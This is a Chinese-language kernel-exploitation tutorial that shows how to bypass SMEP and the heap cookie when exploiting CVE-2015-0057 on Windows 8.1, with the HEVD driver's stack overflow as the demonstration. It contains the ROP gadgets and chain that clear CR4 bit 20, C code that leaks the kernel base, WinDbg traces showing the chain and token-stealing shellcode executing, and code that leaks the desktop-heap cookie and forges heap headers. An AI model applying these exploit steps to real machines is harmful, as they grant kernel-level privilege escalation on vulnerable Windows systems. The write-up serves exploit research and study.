bypass SMEP & bypass heap cookie

这里是对CVE-2015-0057在win8.1环境中的一些保护方式绕过方法的说明
SMEP SMEP是Win8后提出的一种保护机制,它阻止supervisor模式的程序从用户模式中获取指令,简单的来说,我们这里特指内核模式不能直接执行用户模式的代码。SMEP的实现,需要CPU的支持,在CR4寄存器中,第20个bit是SMEP的标志位,如图
bypass SMEP & bypass heap cookie
文章图片

一种绕过它的方式是收集内核模块中的gadget来构建ROP链,该ROP链先清零CR4中的第20bit,然后跳转到用户模式下的shellcode执行。nt!模块中正好有需要的gadget

kd> u nt!HvlEndSystemInterrupt+0x1a: fffff800`84b4e32a 8bd0movedx,eax fffff800`84b4e32c 0f30wrmsr fffff800`84b4e32e 5apoprdx fffff800`84b4e32f 58poprax fffff800`84b4e330 59poprcx fffff800`84b4e331 c3retkd> u nt!KeWakeProcessor+0x49: fffff800`84be74e1 488bc1movrax,rcx fffff800`84be74e4 480fbaf007btrrax,7 fffff800`84be74e9 0f22e0movcr4,rax fffff800`84be74ec 0f22e1movcr4,rcx fffff800`84be74ef c3ret

于是,我们只需要构造以下ROP链即可
pop_rcx disableSmepValue mov_cr4_rcx shellcode

所以问题在于我们如何从ring3层动态找到处于ring0层的地址,在medium integrity下,可以直接通过NtQuerySystemInformation来获取内核模块基地址,代码如下
PUCHAR GetKernelBase() { DWORD len; PSYSTEM_MODULE_INFORMATION ModuleInfo; PUCHAR kernelBase = NULL; _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation"); if (NtQuerySystemInformation == NULL) { return NULL; } NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!ModuleInfo) { return NULL; } NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len); kernelBase = ModuleInfo->Module[0].ImageBase; VirtualFree(ModuleInfo, 0, MEM_RELEASE); return kernelBase; }

【bypass SMEP & bypass heap cookie】以Win8.1下在HEVD中的栈溢出为例,在win8之前我们只需要将shellcode地址覆盖到返回地址即可,但这里必须要绕过SMEP,首先看一下cr4的值
kd> rM 20 dr0=0000000000000000 dr1=0000000000000000 dr2=0000000000000000 dr3=0000000000000000 dr6=00000000fffe0ff0 dr7=0000000000000400 cr4=00000000001506f8 kdr0=0000000000000000 kdr1=0000000000000000 kdr2=0000000000000000 kdr3=0000000000000000 kdr6=00000000fffe0ff0 kdr7=0000000000000400

可以看到其第20bit为1,要关闭SMEP,将cr4的值改为0x506f8即可。
kd> p HEVD!TriggerBufferOverflowStack+0x109: fffff801`ba6fb6bd 415cpopr12 kd> p HEVD!TriggerBufferOverflowStack+0x10b: fffff801`ba6fb6bf c3ret kd> p nt!wcsncpy_s+0x7f6c: fffff800`84b4e330 59poprcx kd> p nt!wcsncpy_s+0x7f6d: fffff800`84b4e331 c3ret kd> p nt!KeFlushEntireTb+0x14c: fffff800`84be74ec 0f22e1movcr4,rcx kd> p nt!KeFlushEntireTb+0x14f: fffff800`84be74ef c3ret kd> rM 20 dr0=0000000000000000 dr1=0000000000000000 dr2=0000000000000000 dr3=0000000000000000 dr6=00000000ffff4ff0 dr7=0000000000000400 cr4=00000000000506f8 kdr0=0000000000000000 kdr1=0000000000000000 kdr2=0000000000000000 kdr3=0000000000000000 kdr6=00000000ffff4ff0 kdr7=0000000000000400 kd> p 000000ad`1aa90000 65488b142588010000 movrdx,qword ptr gs:[188h] ; shellcode kd> p 000000ad`1aa90009 4c8b82b8000000movr8,qword ptr [rdx+0B8h] kd> p 000000ad`1aa90010 4d8b88e8020000movr9,qword ptr [r8+2E8h]

可以看到经过这样的ROP,cr4的第20bit被置0,而shellcode也正常执行了,说明绕过成功。
Heap Cookie Windows为了防止堆溢出,每次开机时都会产生一个随机数作为cookie,对堆块头部进行异或加密,如果我们直接进行覆盖,则无法通过之后的校验。不过由于这里只进行了简单的异或,所以一旦我们获取了这个heap cookie,就能还原出正确的HEAP_ENTRY,大概像这样
xored_header= (ULONG_PTR)menu_addr - OVERLAY1_SIZE - _HEAP_BLOCK_SIZE; decoded_header = XOR(string((CHAR *)xored_header, 16), cookie); // modify heap header tmp_header = (CHAR *)decoded_header.c_str(); tmp_header[8] = (OVERLAY1_SIZE + MENU_SIZE + _HEAP_BLOCK_SIZE)/0x10; // new size tmp_header[11] = tmp_header[8] ^ tmp_header[9] ^ tmp_header[10]; // new checksum// xor new heap header new_heap_header = XOR(decoded_header, cookie);

于是关键就是获取heap cookie,我们来解释一下这段获取heap cookie的代码
BOOL GetDHeapCookie() { __debugbreak(); MEMORY_BASIC_INFORMATION MemInfo = { 0 }; BYTE *Addr = (BYTE *) 0x1000; ULONG_PTR dheap = (ULONG_PTR)pSharedInfo->aheList; while (VirtualQuery(Addr, &MemInfo, sizeof(MemInfo))) { if (MemInfo.Protect = PAGE_READONLY && MemInfo.Type == MEM_MAPPED && MemInfo.State == MEM_COMMIT) { if ( *(UINT *)((BYTE *)MemInfo.BaseAddress + 0x10) == 0xffeeffee ) { if (*(ULONG_PTR *)((BYTE *)MemInfo.BaseAddress + 0x28) == (ULONG_PTR)((BYTE *)MemInfo.BaseAddress + deltaDHeap)) { xorKey.append( (CHAR*)((BYTE *)MemInfo.BaseAddress + 0x80), 16 ); return TRUE; } } } Addr += MemInfo.RegionSize; } return FALSE; }

其中VirtualQuery是获取堆块信息,在之后的比对中,偏移0x10的0xffeeffee为堆的签名,这是一个堆的标志。而deltaDHeap是提前获取好的,它是内核空间映射到用户空间的相对偏移,而偏移0x28位置的值正好是该用户空间的堆在内核中的地址,经过两层比对,就可以确定该堆块确实由内核空间映射而来,于是取其+0x80处16字节,即是cookie值了。结构如下
kd> dt _HEAP ntdll!_HEAP +0x000 Entry: _HEAP_ENTRY +0x010 SegmentSignature : Uint4B +0x014 SegmentFlags: Uint4B +0x018 SegmentListEntry : _LIST_ENTRY +0x028 Heap: Ptr64 _HEAP +0x030 BaseAddress: Ptr64 Void +0x038 NumberOfPages: Uint4B +0x040 FirstEntry: Ptr64 _HEAP_ENTRY +0x048 LastValidEntry: Ptr64 _HEAP_ENTRY +0x050 NumberOfUnCommittedPages : Uint4B +0x054 NumberOfUnCommittedRanges : Uint4B +0x058 SegmentAllocatorBackTraceIndex : Uint2B +0x05a Reserved: Uint2B +0x060 UCRSegmentList: _LIST_ENTRY +0x070 Flags: Uint4B +0x074 ForceFlags: Uint4B +0x078 CompatibilityFlags : Uint4B +0x07c EncodeFlagMask: Uint4B +0x080 Encoding: _HEAP_ENTRY

    推荐阅读